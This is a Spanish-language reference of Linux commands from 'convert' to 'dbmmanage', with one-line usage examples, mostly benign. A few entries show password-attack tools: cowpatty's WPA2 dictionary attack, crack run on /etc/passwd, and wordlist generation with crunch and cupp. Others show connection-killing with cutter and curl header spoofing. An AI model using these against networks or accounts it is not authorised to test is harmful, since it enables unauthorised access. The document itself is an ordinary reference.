$ convert imagen.jpg -alpha set -channel A -fx 0.5 imagen.png
Aumentar la transparencia de una imagen [valor de fx: 0 toda y 1 nada] y canviarla a jpg
```

```
$ convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(29,5,114)" output.pdf
convertir fondo negro a blanco para imprimir
```

```
$ convert entrada.jpg -font Bookman-Demi -pointsize 62 -stroke white -draw "text 5,60 'Texto'"
salida.jpg
poner un texto en determinadas coordenadas [5,60] especificando fuente, medida y borde de las
letras en blanco
```

Si quisieramos el texto en rojo añadiríamos: -fill red después de -stroke white)

Algunas opciones:

```
-fill red (Letra roja)
-strokewidth 3 (Ancho del borde de letra)
-border 3 (Emmarcar la imagen con un borde de 3 pixels)
-frame 5x5+2+2 (Lo mismo estilo cuadro)
-delay 60" (son 60 milisegundos por fotograma)
-resize 150x150" (Respetará la proporción de la imagen.)
"imagen%02d" (Renombrará todas la imagenes con nombre "imagen" y dos dígitos.)
"imagen%03d" (Igual pero con tres dígitos.)
```

```
$ ifconfig | convert -background yellow -fill black -font Courier -pointSize 14 label:@- ifconfig.
png
convertir la salida de un comando a imagen png
```

```
ifconfig (comando que se ejecuta)
-background (color del fondo)
-fill (color del texto)
-font (fuente del texto)
-pointSize (tamaño del texto)
label:@- (Nombre del archivo a generar)
Archivos nombre de fuentes, colores: /etc/ImageMagick/
```

Tambien puede cambiarse el nombre de la fuente por su archivo:

```
-font /home/usuario/.fonts/Albert.ttf
1.-
```

Convertir todas las imágenes del directorio de formato .jpg a .png:

```
$ for i in *.jpg;do convert "$i" "${i%.jpg}.png";done
```

## cool-retro-term

Emulador de terminal que imita la apariencia de las antiguas pantallas de tubo catódico.

```
$ cool-retro-term
```

## coproc

Inicia un comando en segundo plano configurando tuberías conectadas a su stdin y stdout para que pueda interactuar con él bidireccionalmente.

```
$ coproc ls
```

## copy

Carpetas en la nube tipo Dropbox. Entrar en <<http://www.copy.com>> despues de registrarse y logearse, clicar en la pestaña "Install App" con lo que se nos descargará la aplicacion de escritorio.

```
$ tar -zxvf copy_agent-1.28.0657.tgz
```

```
$ cd copy/x86_64/
```

```
$ ./CopyAgent --install
Donde pondremos nombre de usuario y contraseña del registro y carpeta a compartir. Por defecto
Copy
```

```
$ ./CopyConsole
Forzar actualizaciones
```

## copyright-update

Actualizar la información de copyright en un conjunto de archivos.

```
# cd /usr/bin
# copyright-update -t *
test sobre el año del directorio /usr/bin
```

```
# copyright-update -v -r -t *
con más información y de forma recursiva
```

## corelist

Proporciona información sobre los módulos core y dual-life incluidos en cada versión de perl.

```
$ corelist -v
enumera todas las versiones de perl
```

```
$ corelist -r
lista todas las versiones de perl y cuándo se publicaron
```

```
$ corelist -a Unicode
lista todas las versiones del módulo dado
```

```
$ corelist --utils -v 5.8.3
De la version
```

## cowpatty

Aplicación de ataque de diccionario contra contraseñas WPA2.

```
$ cowpatty -f diccionario -r ataque.cap -s SSID
lista de palabras a usar, guardar en el archivo especificado y el SSID encontrado
```

## cowsay

Muestra figuras en consola

```
$ cowsay -l
muestra todas las posibilidades de figuras
```

```
$ cowsay -f tux Esto es linux
```

```
$ echo linux | cowsay -n | cowsay -n | cowsay -n
Anidando las figuras
```

## cowsay-off

Esta aplicación aumenta las opciones de cowsay [ver] con una mayor cantidad de criaturas, algunas de las cuales son: ponys, el demonio BSD, dragones, canguros, pavos hasta un elefante o una serpiente.

```
$ cowsay -l
nuevo listado ampliado de cowsay
```

```
$ cowsay -f vader-koala Esto es linux
```



## cowthink

Vaca pensando.

```
$ cowthink -p ¿Linux??
```

## cp

Copiar archivos

```
$ cp -r
Copia archivos y directorios de forma recursiva
```

```
$ cp -i
Pide confirmacion antes de sobrescribir
```

```
$ cp -f
Borra el archivo de destino sin preguntar
```

```
$ cp -u
copia sólo cuando el archivo de origen es más reciente que el archivo de destino o cuando el
archivo destino falta
```

```
$ cp -p
Copiar conservando los permisos de usuario y grupo
```

```
$ cp archivo{,.back}
Hará una copia .back del archivo
```

```
$ cp archivo archivo.$$ ("$$" es una variable de la shell que contiene el pid)
```

## cpaldjvu

Convierte documentos pdf o imagenes a formato djvu

```
$ cpaldjvu -colors 5 -dpi 50 -verbose entrada.jpg salida
especificando colores [por defecto 256] y resolución [entre 25 y 6000.Por defecto 300]
```

## cpio

Copiar archivos a un contenedor de manera más eficiente que tar. Los respaldos se pueden restaurar en cualquier sistema UNIX.

```
$ ls *.txt | cpio -ocv -O archivo.cpio
Crearé [-o] "archivo.cpio" [-O] con todos los .txt del directorio, mostrando toda la salida [-v] y
que escriba la información del encabezado en ASCII para facilitar el traspaso entre plataformas
```

`cpio -icv < archivo.cpio` (Extraer el contenido)

```
$ cpio -it < file.cpio > indice
Crear un indice con el contenido de un archivo cpio
```

Opciones:

```
-u (Sobreescribiendo si al extraer ya existe el fichero ya que sin este parámetro no lo
hace)
-i (extraer archivos de un fichero)
-t (Desplegar sin extraer)
-r (Dar nombre a los archivos que se están extrayendo de forma interactiva)
-d (Extrae con la misma estructura de directorio, si así se creó el fichero)
```

## cpipe

Copia la entrada estándar a la salida estándar mientras mide el tiempo que tarda en leer un búfer de entrada y escribir un búfer de salida. Las estadísticas del promedio de rendimiento y la cantidad total de bytes copiados se imprimen en la salida de error estándar.

```
# find /usr -iname network | cpipe -vr -vw -vt > /dev/null
mostrar tiempos de lectura, escritura y rendimiento y los demás datos a /dev/null
```

```
in: 887.446ms at      720B/s (    720B/s avg)    639B    (bsize=639)
out:  0.002ms at   304.7MB/s (  304.7MB/s avg)    639B
thru: 887.496ms at      720B/s (    720B/s avg)    639B
```

## cplay-ng

Reproductor de música minimalista con una interfaz de usuario textual escrita en Python. En lugar de crear una base de datos elaborada de la biblioteca de música, cplay permite explorar el sistema de archivos y poner en cola archivos, directorios y listas de reproducción.

```
$ cplay-ng
```

## cpu

reemplazo para las utilidades useradd/usermod/userdel para administradores que utilizan un servidor LDAP y que desean tener un conjunto de herramientas de línea de comando para hacer la administración.

## cpufreq-info

Obtiene información del estado del demonio cpufreqd así como información de la CPU.

```
$ cpufreq-info
```

## cpufreq-selector

Permite definir el perfil de la CPU powersave, performance, conservative, userspace, ondemand así como la velocidad y otros parámetros

```
$ cpufreq-selector -g powersave -c 0
Define perfil powersave para el nucleo 0
```

```
$ cpufreq-selector -f 1200000
Define la velocidad exacta de la CPU, en Khz
```

## cpufreq-set

Define el perfil de la CPU [powersave, performance, conservative, userspace, ondemand] así como la velocidad y otros parámetros

```
# cpufreq-set --governor powersave
Define el perfil de velocidad de la CPU. Perfiles disponibles: conservative, powersave,
performance, ondemand, userspace
```

```
# cpufreq-set -c 0
Definimos que queremos aplicar el comando a la CPU 0. Si se omite, por defecto tomará este valor.
El rango de este valor va de 0 a N-1 CPUs. Por ejemplo con 4 núcleos iría de 0 a 3
```

```
# cpufreq-set --min 1200000 governor PERFIL
```

define la velocidad mínima del procesador en Hz para el perfil seleccionado, requiere el uso de la opción `--governor`. En caso de que el valor sea inferior al permitido, se utiliza la velocidad mínima soportada por la CPU. Si tenemos más de una CPU o núcleo, debemos repetir el comando para cada CPU con la opción `-c` e indicar el número de esta

```
# cpufreq-set --max 2101000 --governor ondemand
lo mismo que min pero con la velocidad máxima de la CPU
```

```
# cpufreq-set -f 1600000
Especificamos que queremos que la CPU trabaje a la velocidad deseada. Requiere que estemos usando el perfil userspace
```

## cpuid

Muestra el IP del proveedor, características del procesador, información de caché, etc de procesadores Intel y AMD x86. No tiene opciones.

```
$ cpuid
```

## cpulimit

Limitar el uso de la cpu para determinados procesos.

```
# cpulimit -e yes -l 20
el de yes a un 20% de la cpu. Valor entre 0 y 100
```

```
# cpulimit -p PID -l 50
el proceso con el numero PID al 50%
```

## cpustat

Información periódicamente sobre la utilización de la CPU.

```
$ cpustat -l
Información extendida
```

```
$ cpustat -p PID
sobre un PID
```

```
$ cpustat -a
```

```
$ cpustat -i
```

```
$ cpustat -t root
Sobre un usuario
```

```
$ cpustat -n 20
muestra los 20 procesos principales que se ejecutan en el sistema
```

## cputool

Limita el uso del CPU de un proceso.

```
$ cputool -c 50 -p 15352
Al 50% para el PID 15352
```

## crack

Programa para localizar vulnerabilidades en archivos de contraseñas escaneando los contenidos y buscando usuarios que hayan elegido una contraseña de inicio de sesión débil.

```
# crack -nice 10 /etc/passwd
con prioridad reducida para que otros programas tengan prioridad sobre la cpu
```

## cracklib

(libcrack2) Verifica la fortaleza de una contraseña, procesa archivos de palabras, crea bases de datos, etc. El paquete contiene varias herramientas: cracklib-check, cracklib-format, cracklib-packer, cracklib-unpacker y update-cracklib.

Mide la fortaleza de una contraseña.

```
$ echo "Linux_f1nt1stic0" | cracklib-check
Linux_f1nt1stic0: OK
$ echo "linux12" | cracklib-check
linux12: it is based on a dictionary word
Puede usar el modo interactivo:
```

```
$ cracklib-check
54321
54321: it is too short
linux2
linux2: it is based on a dictionary word
HueñPP9-?"HgFR
HueñPP9-?"HgFR: OK
```

```
# update-cracklib
actualizar los diccionarios de la aplicación
```

```
# cracklib-format datos
convierte cada línea en una palabra independiente de las que tenga y las coloca por orden alfabético
```

```
# cracklib-format datos > datos2
lo anterior mandándolo a un archivo
```

## crashme

Aplicación que se basa en una serie de scripts que escribirán código aleatorio en secciones aleatorias de la memoria para ver qué tal responde el sistema operativo y poder detectar posibles fallos, vulnerabilidad o simplemente comprobar qué tal responde a escrituras forzadas en secciones de la memoria utilizadas. Por defecto los tests de Crashme están limitados a 30 segundos, tras los cuales se cierran y se guardan los registros. Advertencia: Si bien se sabe que el kernel Linux sobrevive días y semanas de crashme, no se garantiza que el sistema sobreviva a varios de estos procesos.

```
# crashme +2000 666 50 00:02:00 2
2 minutos de proceso, mostrar información resumida del proceso
```

## create-cracklib-dict

[cracklib-runtime]. Toma uno o más archivos de listas de palabras como argumentos, una por línea y los convierte en diccionarios de cracklib.

```
# create-cracklib-dict archivo
```

## cron-apt

Herramienta que ejecuta un trabajo cron a intervalos regulares. Por defecto, solo actualiza la lista de paquetes y descarga nuevos paquetes sin instalar. Puede indicarle que ejecute cualquier cosa que pueda hacer con apt-get o aptitude. Editar el archivo:

```
# nano /etc/cron-apt.conf
```

Y modificar las líneas:

```
MAILON="always"
MAILTO="usuario@example.com"
```

```
# cron-apt
comprobar que el software se ejecute sin problemas
```

Para comprobar los logs en el archivo /var/log/cron-apt/log

## cronic

Contenedor para trabajos de Cron. Chronic administra el resultado de otros programas y los organiza para mostrar solo ese resultado si el comando tiene un error o falla. Si el comando tiene éxito, se ocultará cualquier otra salida y eso significa que no habrá correo electrónico. Sólo se recibe un correo electrónico si no funciona. Un ejempo de estilo podría ser:

```
$ crontab -e
```

Añadir el script que se ejecutaria, por ejemplo, en cada reinicio:

```
@reboot cronic script.sh
Pera comprobar si se ejecuta correctamente podemos realizar una prueba. Modificamos el crontab con un script que no existe:
```

```
$ crontab -e
```

Añadimos:

```
@reboot cronic scrit.sh
Recibiremos un correo con algo parecido a "Cron <usuario@localhost> chronic scrit (failed)"
```

## crontab

configurar tareas para que se ejecuten automáticamente en el sistema

```
# crontab -e
editar el archivo crontab, si no existe se crea
```

```
$ crontab -e
idem para el usuario no root
```

```
# crontab -l
Muestra el contenido para root
```

```
# crontab -l -u usuario
muestra el de usuario
```

```
$ crontab -l
idem para el usuario no root
```

```
# crontab -r
Borra el contenido de crontab
```

Crontab consta de 6 campos separados por un espacio que indican:

minuto (0-59), hora (0-23), dia del mes (1-31), mes (1-12), dia de la semana (0-6, domingo=0), y comando a ejecutar. Un asterisco \* como valor en los primeros cinco campos, indicará todos (todos los minutos, todas las horas ...)

```
01 * * * *      (Se ejecuta el primer minuto de cada hora todos los dias)
20 9 * * *      (a las 9:20 de la mañana todos los dias)
20 21 * * *      (a las 9:20 (21:20) de la tarde todos los dias)
01 6 * * 1      (a las 6:01 de todos los lunes)
* * 1 1 *        (todos los minutos de todas las horas del 1 de enero)
00 12 * * 0      (a las doce en punto de todos los domingos)
@reboot (Cada reinicio)
```

También es posible especificar listas en los campos:

```
01 15 * 1-4 1,2,3,4 (a las 3:01 de la tarde de lunes a viernes de enero a abril)
*/15 * 1-15 *      (cada 15 minutos entre el 1 y el 15 de todos los meses)
*/5 * * * * cp /etc/resolv.conf.bak /etc/resolv.conf (Ejecutar cada 5 minutos el comando especificado.)
$ 0 8 * * * env DISPLAY=:0.0 vlc /home/usuario/musica/archivo.mp3 (Programar que cada dia a las 8 se abra un mp3 con el vlc)
```

El archivo donde se guardan las tareas a realizar es:

```
$ nano /var/spool/cron/usuario
```

También pueden añadirse o modificarse en este archivo.

## C

En ocasiones, y especialmente con Archlinux, crontab cambia la codificación de caracteres de los scripts. Ejecutados directamente funcionan correctamente pero al colocarlos en el cron se muestran con caracteres extraños. La causa son las variables de entorno asociadas a la máquina y al demonio del cron. Para solucionar el problema:

```
# nano /etc/environment
```

Y añadir la línea:

```
LANG=es_ES.UTF-8
```

Reiniciar cron:

```
# /etc/rc.d/crond restart
```

2.-

Una forma de controlar si un script colocado en el cron funciona correctamente es:

```
$ env -i /home/user/script.sh
```

La condición de ejecución es similar a como lo hace cron.

## cruft

Lista ficheros que presumiblemente sobran, faltan o están de alguna forma incorrectos, tomando principalmente la información de la base de datos de dpkg

```
# cruft -d /var/www
```

```
# cruft -r
```

Mostrar el informe

```
# cruft --ignore /home/usuario
```

Descartando un directorio

## crunch

Generador de listas de palabras. Puede especificarse un conjunto de caracteres y admite números, símbolos, mayúsculas, minúsculas, caracteres por separado y Unicode.

```
$ crunch 6 6 0123456789abcdef -o 6caracteres.txt
```

generar palabras de un mínimo de 6 caracteres y máximo de 6 usando los especificados y guardandolo en el archivo mencionado

```
$ crunch 3 5 ABC$%& -o caracteres.txt
```

mínimo de 3 y máximo de 5 usando los especificados

```
$ crunch 4 5 -p mormo dama .com
```

usando permutaciones de palabras especificadas.

## cryfs

Cifra archivos para que puedan almacenarse de forma segura en cualquier lugar. Funciona bien junto con servicios en la nube como Dropbox, iCloud, OneDrive y otros

```
# cryfs --show-ciphers
```

cifrados disponibles

```
# cryfs archivo_a_cifrar archivo_descifrado
```

forma básica

## cryptmount

Utilidad para crear sistemas de archivos cifrados y que permite a un usuario común montar/desmontar sistemas de archivos sin requerir privilegios de superusuario.

```
# cryptmount-setup
configurar Cryptmount y crear un sistema de archivos encriptado
```

```
$ cryptmount dir-secreto
acceder al dir cifrado. Pedirá contraseña
```

```
$ cryptmount -u dir-secreto
desmontar el dir cifrado
```

```
$ cryptmount -l
listar todos los directorios cifrados
```

```
$ cryptmount -c dir-secreto
cambiar la contraseña del dir cifrado
```

## cryptsetup

Cifrar con LUKS una partición. LUKS especifica un formato estándar en disco, independiente de plataforma.

```
# cryptsetup -y -v luksFormat /dev/sda3
Pregunta la contraseña y confirmación para cifrar la partición. Borra todos los datos existentes [y] y modo verbose
```

```
# cryptsetup luksOpen /dev/sda3 backup
Desencriptar. Imprescindible darle un nombre para el mapeo [backup]
```

Una vez entrada la contraseña asignada en el primer paso, escoger el formato según sistema [mkfs.vfat para fat32 o mkfs.ntfs para NTFS]:

```
# mkfs.ext4 /dev/mapper/backup -L cripta
con el nombre "cripta"
```

```
# cryptsetup luksClose backup
Cerrar la partición
```

```
# cryptsetup -v status backup
ver el estado de la asignación
```

## csplit

Dividir un archivo en varios archivos.

```
$ csplit -f seccion archivo.txt /capitulo/ {*}
que cada uno use el sufijo "capitulo" [capitulo00, capitulo01...], que la division se produzca cuando encuentre la palabra "capitulo" y que haga todas las divisiones que precise
```

```
$ csplit -n 4 archivo.txt 4
El sufijo por defecto [xx] y que use 4 dígitos [xx0001, xx0002...] y parta en 4 archivos
```

```
$ csplit -b %03d archivo.txt 3
lo mismo con 3 dígitos y parta en 3 archivos [xx001, xx002...]
```

```
$ csplit archivo.txt 5 -f parte
Dividir en 5 archivos y cada uno con el sufijo "parte" [parte00, parte01...]
```

Nota.- para unirlos usar:

```
$ cat parte[0-5] > completo.txt
```

## csscapture

[python-cssutils]. Capturar el css de una web.

```
$ csscapture -s web http://www.tuxapuntos.com
guarda en la carpeta web
```

## cupp

Herramienta que puede generar un diccionario para ataques de fuerza bruta o ataques de diccionario con una lista de palabras a partir de información como un cumpleaños, apodo, dirección, nombre de una mascota o familiar, o una palabra común.

```
$ cupp3 -i
Realiza varias preguntas sobre cual es el nombre, el nik, el hijo... y al final creau un
diccionario con los datos entrados .txt
```

```
$ cupp3 -l
bajar el diccionario del idioma que se entre
```

## cups

Gestión de impresoras.

```
# cupsenable Hewlett-Packard-HP-LaserJet-Professional-P1606dn
Activar una impresora
```

1.-

Montar una impresora en red:

En la máquina servidor (la que tiene conectada la impresora)

```
# nano /etc/cups/cupsd.conf
Comentar la linea Listen localhost:631 y añadir la ip de la máquina: Listen 192.168.2.3:631 y en
el siguiente apartado añadir los parámetros de la red:
```

```
# Restrict access to the server
<Location />
    Order allow,deny
    Allow localhost
    Allow @LOCAL
    # permisos a la red local
    Allow from 192.168.2.0/24
</Location>
Para activar la compartición de impresoras:
```

Browsing on

```
# /etc/init.d/cupsd restart (reiniciar cups)
```

Abrir el navegador y poner <http://localhost:631> después del logeo ir a la pestaña printers y seleccionar la impresora, con lo que nos quedará en la barra de navegación algo parecido a: <http://localhost:631/printers/PSC-1100>

Que sustituyendo localhost por la dirección ip de la máquina nos dará la dirección de la impresora:

<http://192.168.2.3:631/printers/PSC-1100>

En las máquinas cliente

```
# nano /etc/cups/cupsd.conf
Browsing on
```

BrowseAllow 192.168.2.0/24



```
# /etc/init.d/cupsys restart
Y configurar la impresora de la forma habitual ya sea en Sistema -> administración -> impresoras
pestaña Configuración -> URI del dispositivo y poner la dirección de la impresora o via http
://localhost:631
```

2.-

Que se muestre el nombre de usuario que imprime cada trabajo:

```
# nano /etc/cups/cupsd.conf
```

Substituir:

```
JobPrivateValues default
Por:
```

```
JobPrivateValues none
```

## cupsaccept

Que una impresora acepte trabajos.

```
$ cupsaccept nombre_impresora
```

## cupsdisable

Desactivar impresoras.

```
$ cupsdisable nombre_impresora
```

## cupsenable

Activar impresoras.

```
$ cupsenable nombre_impresora
```

## cupsreject

Que la impresora deje de aceptar trabajos.

```
$ cupsreject nombre_impresora
```

## curl

Herramienta para la transferencia de datos desde o hacia un servidor. Permite los protocolos ftp, https, sftp, scp, tftp ...

```
$ curl ftp://host
Sin ninguna opción obtiene la página principal del host [http, ftp...
```

```
$ curl ftp://host/ http://host/
Descargar dos host simultaneos
```

```
$ curl -o destino http://host
Guarda el host en destino
```

```
$ curl -i URL
información sobre una URL
```

```
$ curl -I URL
```

## C

```
extraer todas las cabeceras
```

```
$ curl -o portada.png http://www.lapipaplana.net/wp-content/uploads/2012/08/meditate1.png
descargar una imagen y guardarla
```

```
$ curl -u usuario:contraseña http://localhost/restringido/
Acceder a una zona que requiera autenticación
```

```
$ curl ftp://usuario:contraseña@host:puerto/home/usuario/archivo
Otra forma de autenticación
```

```
$ curl -T archivo_local ftp://host/carpeta
Subir un archivo local a un host remoto
```

```
$ curl -T archivo_local -a ftp://host/
Subir un archivo local a un host remoto con el parámetro -a
```

```
$ curl -x proxy:8889 ftp://host
Obtener un host utilizando un proxy
```

```
$ curl -u usuario:contraseña -x proxy:8888 http://host
Usando proxy y con autenticación
```

```
$ curl -U usuario:contraseña -x proxy:8888 http://host
Cuando el proxy requiere autenticación especial
```

```
$ curl -r 0-99 http://host
Obtener los primeros 100 bytes del documento
```

```
$ curl -r -500 http://host
Obtener los últimos 500 bytes del documento
```

```
$ curl --proxytunnel -x proxy:8888 -T archivo_local ftp ftp://host
Usando un tunel
```

```
$ curl -v ftp://host
Ver información que se envía y recibe pero no los datos reales
```

```
$ curl --trace trace.txt host
Obtener más información y guardar en trace.txt
```

```
$ curl --dump-header headers.txt host
Guardar las cabeceras [cookies] en headers.txt
```

```
$ curl -b headers.txt www.example.com
Pasar las cabeceras obtenidas a un host
```

```
$ curl -e www.bueno.com http://host/
Intentar engañar un site con una dirección falsa
```

```
$ curl -A 'Mozilla/3.0 (Win95; I)' http://host
Intentar engañar un site especificando otro navegador
```

```
$ curl --limit-rate 10K host
Limitar la velocidad de transferencia a 10 kilobytes
```

```
$ curl -P 192.168.0.10 ftp host
Acceder a un host a partir de una ip a la que si tenemos acceso
```

```
$ curl -C - -o descarga hots
Proseguir una descarga interrumpida
```

```
$ curl -z local.html hots/remote.html
Sólo se efectuará la descarga si remote.html es más reciente que local.html
```

Otras opciones:

```
$ curl -Is google.com | grep Date
Conocer la fecha via web
```

```
$ curl ipinfo.io/183.61.164.202
Conocer datos de una ip
```

## C

```
$ curl icanhazip.com
Conocer la IP externa
```

```
$ curl ifconfig.me
lo mismo
```

```
$ curl -u usuario:clave --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t"
if /<name>/; print "$2\n" if /<(title|name)>(.*?)<\/\1>/;'
visualizar todos los mensajes no leídos de gmail
```

```
$ curl -s 'http://geoiplookup.wikimedia.org/' | sed 's/^.*=\s*//' | python3 -mjson.tool
muestra la situación geográfica
```

```
$ curl -s http://geoiplookup.wikimedia.org/ | python3 -c 'import sys, json, string, webbrowser;
webbrowser.open(string.Template("http://maps.google.com/maps?q=$lat,$lon").substitute(json.loads(
sys.stdin.read()).split("=")[-1]))'
Lo mismo pero abriendo una pestaña en el navegador
```

```
$ curl -s http://www.census.gov/popclock/data/population/world | awk -F[:,]' '{print $7}'
Muestra el número de habitantes de la tierra
```

```
$ curl -s https://help.github.com/articles/generating-ssh-keys | grep -Po --color=never "RSA key
fingerprint is (:?[A-z0-9]\:){32}"
Imprime la clave RSA de github.com
```

```
$ curl -s -w 'Test de velocidad para :%{url_effective}\n\nLookup Time:\t\t%{time_namelookup}\n
nConnect Time:\t\t%{time_connect}\nPre-transfer Time:\t\t%{time_pretransfer}\nStart-transfer Time:\t
%{time_starttransfer}\n\nTotal Time:\t\t%{time_total}\n' -o /dev/null http://www.google.com
Tiempo de respuesta de un sitio web. Cambiar la url final
```

## curlftps

Montar directorios remotos en local.

```
# curlftps usuario:contraseña@192.168.1.10 /media/servidor
```

Para automatizar el proceso, añadir al /etc/fstab la línea:

```
curlftps#usuario:contraseña@192.168.1.10 /media/servidor fuse defaults 0 0
```

## cut

Permite buscar y/o seleccionar columnas o campos dentro de un archivo estructurado. Entre campo y campo debe existir obligatoriamente un delimitador [dos puntos, un espacio en blanco u otro carácter].

```
$ cut -c1-4 archivo
muestra los 4 primeros caracteres de cada línea
```

```
$ cut -d: -f1 archivo
Muestra el primer campo delimitado por :
```

```
$ cut -d" " -f1,5 archivo
Mostrar el primero y el quinto, separados por espacio
```

```
$ cut -d" " -f 2- archivo
Mostrar todo menos la primera columna
```

```
$ cut -s -d"(" -f1 archivo ("-" suprime las líneas que no contengan el delimitador [
]). De las que sí lo contengan, mostraría el 1er campo
```

```
$ echo $RANDOM | cut -c1,2
Coger los 2 primeros números de un número aleatorio [$RANDOM]
```

## cutter

Envia paquetes a ambos extremos de una conexión TCP/IP para cerrar la conexión. Está diseñado para desconectar conexiones no deseadas hacia o desde una dirección IP específica o par de direcciones IP o cerrar el servicio específico de un puerto.

```
$ cutter 192.168.1.10
cerrar la conexión de la ip especificada
```

```
$ cutter 192.168.1.10 22
cerrar la conexión al puerto 22 de la ip especificada
```

```
$ cutter 448.22.71.130 192.168.1.10 22
cerrar conexión entre dos computadoras por el puerto 22
```

## cutycapt

Utilidad para capturar renderizado WebKit de una página web.

```
$ cutycapt --url=google.es --out=localfile.png
especificando la url y nombre del archivo para la salida
```

## cvlc

Modo de la aplicación vlc [ver] usado como reproductor de música.

```
$ cvlc archivo.mp3
```

```
$ cvlc v4l2:///dev/video0
activar cámara web
```

Algunas teclas de control:

```
Ctrl + mayusc + space (Reproducir/pausar)
Ctrl + mayusc + n (siguiente archivo)
Ctrl + mayusc + p (archivo anterior)
Ctrl + mayusc + flecha arriba (Subir volumen)
Ctrl + mayusc + flechas abajo (Bajar volumen)
Ctrl + mayusc + m (Silenciar)
Ctrl + mayusc + q (Salir)
```

## cwcp

Proporciona soporte para aprender a usar el código Morse. Este paquete proporciona un tutor interactivo de código Morse con una interfaz de usuario de pantalla completa basada en texto ( ncurses ).

```
$ cwcp
```

## cycle

Calendario para mujeres. Dada una duración del ciclo o estadísticas de varios periodos, puede calcular los días hasta la menstruación, los días de sexo "seguro", el período fértil y los días hasta la ovulación. Permite al usuario escribir notas y ayuda a supervisar la administración de anticonceptivos hormonales.

```
$ cycle
```

---

## D

---

### **dansguardian**

[squid]. Filtro de contenidos web [cliente] que trabaja conjuntamente con el servidor proxy squid [servidor].

Adaptar el archivo de configuración:

```
# nano /etc/dansguardian/dansguardian.conf
```

Algunos parámetros a especificar [caso de no estarlo]:

```
language = 'spanish'
reportinglevel = 3 #valores de 1, 2 y 3
filterport = 8080
proxyip = 127.0.0.1 #La misma ip del proxy squid
proxyport = 3128
Guardar el archivo.
```

El listado de conceptos [ip, nombre de dominio, frases... ] por los que se puede banear y conceptos excluidos en:

```
# ls /etc/dansguardian/lists/
```

Algunos de los más usuales:

bannedextensionlist (extensiones no permitidas)

banneriplist (listado de ips no permitidas)

bannedmimetypelist (Tipos MIME no permitidos)

bannedregexprulldlist (Listado de expresiones a bloquear)

bannedurldlist (Bloquear partes específicas de un sitio)

bannedsitelist (Bloquear sitios)

bannedphraselist (Listado de frases prohibidas encerradas entre < >)

exceptionsitelist (Lista de excepciones de sitios)

exceptioniplist (lista de excepciones de direcciones IP)

exceptionuserlist (Lista de excepciones de nombres de usuarios que no serán filtrado)

```
# /etc/init.d/dansguardian restart
```

### **daptup**

Muestra lista de paquetes ingresados recientemente al repositorio y lista los paquetes que han tenido actualizaciones. Este comando no necesita ser llamado explícitamente ya que se llama automáticamente por todos los gestores de paquetes compatibles.

```
# daptup --pre
```

```
# daptup --post
```

```
# daptup --last
```

## dares

Rescatar contenido de cds y dvds dañados

```
$ dares -i image_cdrom -s /tmp
salvar en /tmp
```

## darkhttpd

Servidor de archivos via web. Acceso por navegador con `http://url_o_ip:puerto`.

```
$ darkhttp /home/usuario/share --port 12001 --daemon
Directorio, puerto de escucha 12001 y dejando como demonio. Matar con killall darkhttpd
```

```
$ darkhttp /home/usuario/share --port 12001 --log archivo --chroot
Sin dejar en background. Creando un archivo con las incidencias y bloqueando el servidor en el
directorio especificado. Matar con ctrl+c
```

## darkstat

Monitorizar el tráfico de red. Configurar la herramienta:

```
# nano /etc/darkstat/init.cfg
```

Descomentar los parámetros DIR, PORT, BINDIP y LOCAL y modificar START\_DARKSTAT=yes

Arrancar el servicio:

```
# /etc/init.d/darkstat start
```

En el navegador colocar la dirección: `localhost:667`

## date

Relacionado con fechas y calendarios.

```
$ date +%s
en tiempo unix - desde el 1 de enero de 1970-
```

```
$ date -d @1441543931
Pasar fecha unix a normal
```

```
$ date -s "2010-01-10 16:59"
forma de establecer la fecha y hora actual
```

```
$ date u 0110170210
Otra forma de establecer la fecha. mes 01, día 10, hora 17:02 y año 2010
```

```
$ date +"%A,%d-%m-%Y"
```

Algunas opciones:

```
%D (fecha en formato mm/dd/yy)
%T (hora:minutos:segundos en formato 24h)
%R (hora:minutos en formato 24h)
%d (día del mes con 2 dígitos)
%m (mes con 2 digitos)
%y (año con 2 dígitos)
%Y (año con 4 dígitos)
%a (nombre abreviado del día)
%A (nombre completo del día)
%b (nombre abreviado del mes)
%B (nombre completo del mes)
%H (hora con 2 dígitos en formato 0-24h)
%I (hora con 2 digitos en formato 0-12h)
%M (Solo los minutos)
%S (Solo los segundos)
```

## D

```
$ date +"%A,%d-%m-%Y" --date '1966/4/20 20500 days'
Para saber cuando alguien cumplirá 20500 días desde su nacimiento
```

```
$ watch -n1 'banner `date +%T`'
Rejoj digital en ascii
```

1.-

Saber la hora encualquier parte del mundo:

```
$ TZ="America/Guatemala" date
Muestra la hora actual de Guatemala
```

```
$ TZ="Europe/Berlin" date
Muestra la de Berlin
```

## datefudge

Pretende que el tiempo del sistema sea diferente. No lo altera.

```
$ datefudge "2115-10-23 11:20" date -R
$ datefudge "2127-03-05 12:30" date +%s
$ datefudge "23 Oct 2210" date -R
$ datefudge "2136-10-23 09:33" sh -c "sleep 3; date -R"
```

## dateutils

Varias herramientas que giran en torno a fechas y horas entre zonas horarias (dateutils.dadd, dateutils.ddiff, dateutils.dround, dateutils.dsort, dateutils.dzone, dateutils.dconv, dateutils.dgrep, dateutils.dseq, dateutils.dtest, dateutils.strptime). Si se omite fecha/hora, el valor predeterminado es 'ahora'.

```
$ dateutils.dzone Europe/Madrid Australia/Sydney America/Bogota today
fecha exacta de varias ciudades
```

```
$ dateutils.dzone Europe/Madrid Australia/Sydney
lo mismo
```

```
$ dateutils.ddiff 2022-02-15 2023-01-05
muestra los días de diferencia entre dos fechas
```

```
$ dateutils.ddiff 9:00:00 13:05:00 -f '%H:%M:%S'
mostrará la diferencia en horas, minutos y segundos
```

```
$ dateutils.dround -n 10:02:00 5s
aumenta la fecha en 5 segundos
```

## dav

[dav-text]. Editor minimalista para ncurses.

```
$ dav archivo.txt
```

## davpass

Sistema de archivos virtual para acceder a archivos, imágenes de disco y ubicaciones remotas

```
$ davpass -h HOST -u usuario -p paswdr
```

## dbmmanage

Se utiliza para crear y actualizar los archivos de formato DBM utilizados para almacenar los nombres de usuario y la contraseña para la autenticación básica de los usuarios HTTP a través de `mod_authn_dbm`. Los recursos disponibles en el servidor Apache HTTP pueden ser restringidos sólo a los usuarios listados en los archivos creados por `dbmmanage`. Este programa sólo puede ser usado cuando los nombres de usuario están almacenados en un archivo DBM. Para usar una base de datos de archivo plano, ver `htpasswd`. Otra herramienta para mantener una base de datos de contraseñas DBM es `htdbm`.

```
# dbmmanage archivo view USER
archivo de formato DBM sin la extensión .db, .pag, o .dir del usuario especificado
```

```
